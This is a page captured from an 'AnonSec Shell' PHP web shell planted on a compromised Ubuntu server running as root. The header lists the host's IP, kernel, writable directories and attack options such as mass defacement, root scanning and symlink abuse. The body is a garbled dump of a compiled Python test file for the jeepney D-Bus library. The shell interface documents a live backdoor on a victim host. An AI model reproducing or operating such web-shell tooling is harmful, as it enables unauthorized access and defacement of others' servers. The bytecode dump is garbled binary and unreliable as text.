AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/jeepney/io/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/jeepney/io/tests/__pycache__/test_trio.cpython-310.pyc
o

���`4�@s�ddlZddlZddlmZmZmZmZddlmZm	Z	ddl
mZmZm
Z
ddlmZejjejjedd�gZd	d
�Zeddd
d�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�ZdS)�N)�DBusAddress�DBusErrorResponse�MessageType�new_method_call)�message_bus�	MatchRule)�open_dbus_connection�open_dbus_router�Proxy�)�have_session_buszTests require DBus session bus)�reasonc	�s`�tdd�IdH}|4IdH�|j�d�sJ�Wd�IdHdS1IdHs)wYdS)N�SESSION��bus�:)r�unique_name�
startswith)�conn�r�</usr/lib/python3/dist-packages/jeepney/io/tests/test_trio.py�test_connects
�.�rzorg.freedesktop.DBusz/org/freedesktop/DBuszorg.freedesktop.DBus.Peer)�bus_name�object_path�	interfacec	�s��ttd�}tdd�4IdH�(}t�d��|�|�IdH}Wd�n1s(wYWd�IdHn1IdHs=wY|jjtj	ksKJ�|j
dksRJ�dS)N�Pingrr�r)r�bus_peerr	�trio�
fail_after�send_and_get_reply�header�message_typer�
method_return�body��	ping_call�req�replyrrr�test_send_and_get_reply s�
�(�r)c	�s��ttd�}tdd�4IdH�(}t�d��|�|�IdH}Wd�n1s(wYWd�IdHn1IdHs=wY|jjtj	ksKJ�dS)N�Snartrrr)
rrr	rrr r!r"r�errorr%rrr�test_send_and_get_reply_error*s�
�(�r,c	�s��tdd�4IdH�0}tt|�}d}|�|�IdH}|dvs J�|�|�IdH\}|dus/J�Wd�IdHdS1IdHs@wYdS)Nrrz+io.gitlab.takluyver.jeepney.examples.Server>�r��T)r	r
r�RequestName�NameHasOwner)r'�proxy�name�res�	has_ownerrrr�
test_proxy3s�
.�r6c	�s��tdd�4IdH�.}tt|�}t�t��|�d�IdHWd�n1s(wYWd�IdHdS1IdHs>wYdS)Nrrz:123)r	r
r�pytest�raisesrr0)r'r2rrr�test_proxy_error>s�
�.�r9c
�s2�d}tdd�4IdH��}tt|�}tdtjtjdtjd�}|�d|�|�|�IdH|�	|�4IdH�A}|�
|�IdH\}|dksEJ�t�d	��|�
�IdH}Wd�n1s\wY|j|d
|jfkslJ�Wd�IdHn1IdHs|wYWd�IdHdS1IdHs�wYdS)Nz2io.gitlab.takluyver.jeepney.tests.trio_test_filterrr�signal�NameOwnerChanged)�type�senderr�member�pathrrg@�)r	r
rrrrr�add_arg_condition�AddMatch�filterr0rr�receiver$r)r3�routerr�
match_rule�chanr4�
signal_msgrrr�test_filterEs,�
��*�.�rIc
�s��t|d�}t�d��0tddd�4IdH�}|�|�IdH}Wd�IdHn1IdHs/wYWd�n1s>wY|jjtjusLJ�|j	d�
d��}|��dks]J�Wd�dS1shwYdS)	N�GetFDrrT�r�
enable_fdsrzw+�readme)rrrr	r r!r"rr#r$�to_file�read)�respond_with_fd�
getfd_callrEr(�frrr�test_recv_fd_s�
(���"�rSc
�s��|\}}t|dd|f�}t�d��0tddd�4IdH�}|�|�IdH}Wd�IdHn1IdHs6wYWd�n1sEwY|jjtjusSJ�|j	d|ks\J�dS)N�ReadFD�hrrTrKr)
rrrr	r r!r"rr#r$)�temp_file_and_contents�read_from_fd�	temp_file�data�readfd_callrEr(rrr�test_send_fdjs�(���r[)rr7�jeepneyrrrr�jeepney.bus_messagesrr�jeepney.io.triorr	r
�utilsr�mark�skipif�
pytestmarkrrr)r,r6r9rIrSr[rrrr�<module>s0��
�
	

Anon7 - 2022
AnonSec Team